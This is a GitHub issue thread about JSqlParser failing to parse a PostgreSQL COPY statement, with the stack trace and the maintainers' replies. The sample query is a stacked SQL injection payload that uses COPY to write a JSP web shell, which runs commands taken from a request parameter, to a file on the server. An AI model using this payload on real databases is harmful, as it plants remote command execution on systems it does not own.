Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unexpected Token 'COPY' in PostgreSQL #569

Closed
bharathi355 opened this issue Jan 17, 2018 · 4 comments
Closed

Unexpected Token 'COPY' in PostgreSQL #569

bharathi355 opened this issue Jan 17, 2018 · 4 comments

Comments

@bharathi355
Copy link

bharathi355 commented Jan 17, 2018

USAGE CODE

The Query used was SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);

Statements stat = CCJSqlParserUtil.parseStatements("SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);");

ERROR LOG
Exception in thread "main" net.sf.jsqlparser.JSQLParserException
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:154)
at net.sf.jsqlparser.Run.main(Run.java:12)
Caused by: net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER>
at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
... 1 more

Caused by:
net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER>
at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
at net.sf.jsqlparser.Run.main(Run.java:12)
@wumpz
Copy link
Member

wumpz commented Jan 17, 2018

Copy ist not supported by JSqlParser.

@bharathi355
Copy link
Author

bharathi355 commented Jan 17, 2018

Will that be added in upcoming versions ?

@wumpz
Copy link
Member

wumpz commented Jan 17, 2018

This is not yet planned. Will you provide a pull request?

@manticore-projects
Copy link
Contributor

Can be parsed as UnsupportedStatement as shown in #1945 (unless you want to provide or sponsor a specific implementation).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants